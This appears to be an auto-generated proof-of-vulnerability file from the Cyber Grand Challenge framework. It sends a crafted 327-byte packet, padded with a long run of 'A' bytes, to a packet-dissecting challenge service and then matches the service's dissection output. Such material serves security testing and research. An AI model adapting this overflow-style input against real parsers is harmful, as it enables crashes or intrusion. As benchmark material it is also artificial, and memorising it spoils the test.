text: #include "libpov.h"
  int main(int cgc_argc, char *cgc_argv[]) {
     cgc_negotiate_type1(0x0, 0x0, 0);
     do {
        //*** writing data
        static unsigned char write_00000_00000[] = 
           "\x47\x01\x00\x00";
        static unsigned int write_00000_00000_len = 4;
        unsigned char *write_00000 = NULL;
        unsigned int write_00000_len = 0;
        write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
        if (write_00000_len > 0) {
           cgc_transmit_all(1, write_00000, write_00000_len);
        }
        cgc_free(write_00000);
     } while (0);
     do {
        //*** writing data
        static unsigned char write_00001_00000[] = 
           "\x01\x00\x00\x00\x00\x00\x00\x00\x2f\x01\x00\x00\x27\x01\x00\x00"
           "\x00\x00\x00\x00\x10\x01\x10\x10\x00\x00\x00\x00\x27\x01\x00\x00"
           "\x4e\xe2\x54\x40\x33\x17\x98\x9a\x6b\xf5\x62\x5c\x7c\xda\x5b\x57"
           "\x57\xcd\x4c\xbf\x39\x00\x00\x00\x6f\x7d\x91\x37\x93\xd3\x03\x01"
           "\x11\x01\x00\x31\x77\x5f\xb5\xe2\x01\xa7\x01\x00\xf5\x7b\x2d\x83"
           "\x31\xe5\x4f\xab\xce\x01\xbe\x5c\xc9\x3b\x69\x9f\xec\x35\x63\xaa"
           "\xbb\x85\x10\x47\xf7\xf4\xb1\x97\x24\x01\x00\xfb\xae\xca\x1e\xf8"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
           "\x00\xbb\x08\xf2\xb0\x73\x11\xbe\x5b\x79\x6d\x05\x93\xd9\xb2\x5a"
           "\x15\xa5\x1f\xfe\xf9\xa9\x14\xcc\x59\x2e\x03\xb5\x9a\xfb\x06\x16"
           "\x41\x00\x01\x00\x7f\x01\x81\x01\x00\xda\xaa\xf7\xd3\x33\x69\x7c"
           "\x47\x56\x41\x00\x44\x64\x18\xa8\x02\xd6\xfd\x64\xed\xaa\x1f\x93"
           "\x0f\x3d\x97\x73\xd5\x6d\x55\x01\x45\x41\x00\x41\x00\xdc\xce\x47"
           "\x54\x01\x18\x36\x1f\x99\xc9";
        static unsigned int write_00001_00000_len = 327;
        unsigned char *write_00001 = NULL;
        unsigned int write_00001_len = 0;
        write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
        if (write_00001_len > 0) {
           cgc_transmit_all(1, write_00001, write_00001_len);
        }
        cgc_free(write_00001);
     } while (0);
     do {
        unsigned char *read_00000;
        unsigned int read_00000_len;
        unsigned int read_00000_ptr = 0;
        //**** delimited read
        static unsigned char read_00000_delim[] = 
           "\x0a";
        read_00000 = NULL;
        read_00000_len = 0;
        int read_00000_res = cgc_delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1);
        if (read_00000_res) {} //silence unused variable warning
        //**** read match data
        static unsigned char match_00000_00000[] = 
           "\x53\x74\x61\x72\x74\x69\x6e\x67\x20\x64\x69\x73\x73\x65\x63\x74"
           "\x69\x6f\x6e\x2e\x2e\x2e";
        read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 22);
        cgc_free(read_00000);
        if (read_00000_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00001;
        unsigned int read_00001_len;
        unsigned int read_00001_ptr = 0;
        //**** delimited read
        static unsigned char read_00001_delim[] = 
           "\x3d\x3d\x3d\x3d\x0a";
        read_00001 = NULL;
        read_00001_len = 0;
        int read_00001_res = cgc_delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 5);
        if (read_00001_res) {} //silence unused variable warning
        /* read match pcre:
  .*New Packet
  */
        static char read_00001_00000_regex[] = 
           "\x2e\x2a\x4e\x65\x77\x20\x50\x61\x63\x6b\x65\x74";
        static match_result read_00001_00000_match;
        pcre *read_00001_00000_pcre = cgc_init_regex(read_00001_00000_regex);
        if (read_00001_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00001_00000_pcre, 0, read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, &read_00001_00000_match);
           if (rc > 0) {
              read_00001_ptr += read_00001_00000_match.match_end - read_00001_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00001_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00001);
        if (read_00001_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00002;
        unsigned int read_00002_len;
        unsigned int read_00002_ptr = 0;
        //**** delimited read
        static unsigned char read_00002_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00002 = NULL;
        read_00002_len = 0;
        int read_00002_res = cgc_delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 4);
        if (read_00002_res) {} //silence unused variable warning
        /* read match pcre:
  .*===llama
  */
        static char read_00002_00000_regex[] = 
           "\x2e\x2a\x3d\x3d\x3d\x6c\x6c\x61\x6d\x61";
        static match_result read_00002_00000_match;
        pcre *read_00002_00000_pcre = cgc_init_regex(read_00002_00000_regex);
        if (read_00002_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00002_00000_pcre, 0, read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, &read_00002_00000_match);
           if (rc > 0) {
              read_00002_ptr += read_00002_00000_match.match_end - read_00002_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00002_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00002);
        if (read_00002_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00003;
        unsigned int read_00003_len;
        unsigned int read_00003_ptr = 0;
        //**** delimited read
        static unsigned char read_00003_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00003 = NULL;
        read_00003_len = 0;
        int read_00003_res = cgc_delimited_read(0, &read_00003, &read_00003_len, read_00003_delim, 4);
        if (read_00003_res) {} //silence unused variable warning
        /* read match pcre:
  .*===llamasart
  */
        static char read_00003_00000_regex[] = 
           "\x2e\x2a\x3d\x3d\x3d\x6c\x6c\x61\x6d\x61\x73\x61\x72\x74";
        static match_result read_00003_00000_match;
        pcre *read_00003_00000_pcre = cgc_init_regex(read_00003_00000_regex);
        if (read_00003_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00003_00000_pcre, 0, read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, &read_00003_00000_match);
           if (rc > 0) {
              read_00003_ptr += read_00003_00000_match.match_end - read_00003_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00003_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00003);
        if (read_00003_ptr) {}  //silence unused variable warning if any
     } while (0);
     do {
        unsigned char *read_00004;
        unsigned int read_00004_len;
        unsigned int read_00004_ptr = 0;
        //**** delimited read
        static unsigned char read_00004_delim[] = 
           "\x3d\x3d\x3d\x0a";
        read_00004 = NULL;
        read_00004_len = 0;
        int read_00004_res = cgc_delimited_read(0, &read_00004, &read_00004_len, read_00004_delim, 4);
        if (read_00004_res) {} //silence unused variable warning
        /* read match pcre:
  .*Dissection finished
  */
        static char read_00004_00000_regex[] = 
           "\x2e\x2a\x44\x69\x73\x73\x65\x63\x74\x69\x6f\x6e\x20\x66\x69\x6e"
           "\x69\x73\x68\x65\x64";
        static match_result read_00004_00000_match;
        pcre *read_00004_00000_pcre = cgc_init_regex(read_00004_00000_regex);
        if (read_00004_00000_pcre != NULL) {
           int rc = cgc_regex_match(read_00004_00000_pcre, 0, read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, &read_00004_00000_match);
           if (rc > 0) {
              read_00004_ptr += read_00004_00000_match.match_end - read_00004_00000_match.match_start;
           }
           else {
              //this is a pov so what does this even mean?
              //why would we quit on failed match, just keep sending stuff.
           }
           pcre_free(read_00004_00000_pcre);
        }
        else {
           //this is a pov so what does this even mean?
           //why would we quit on failed regex compile, just keep sending stuff.
        }
        cgc_free(read_00004);
        if (read_00004_ptr) {}  //silence unused variable warning if any
     } while (0);
  }
  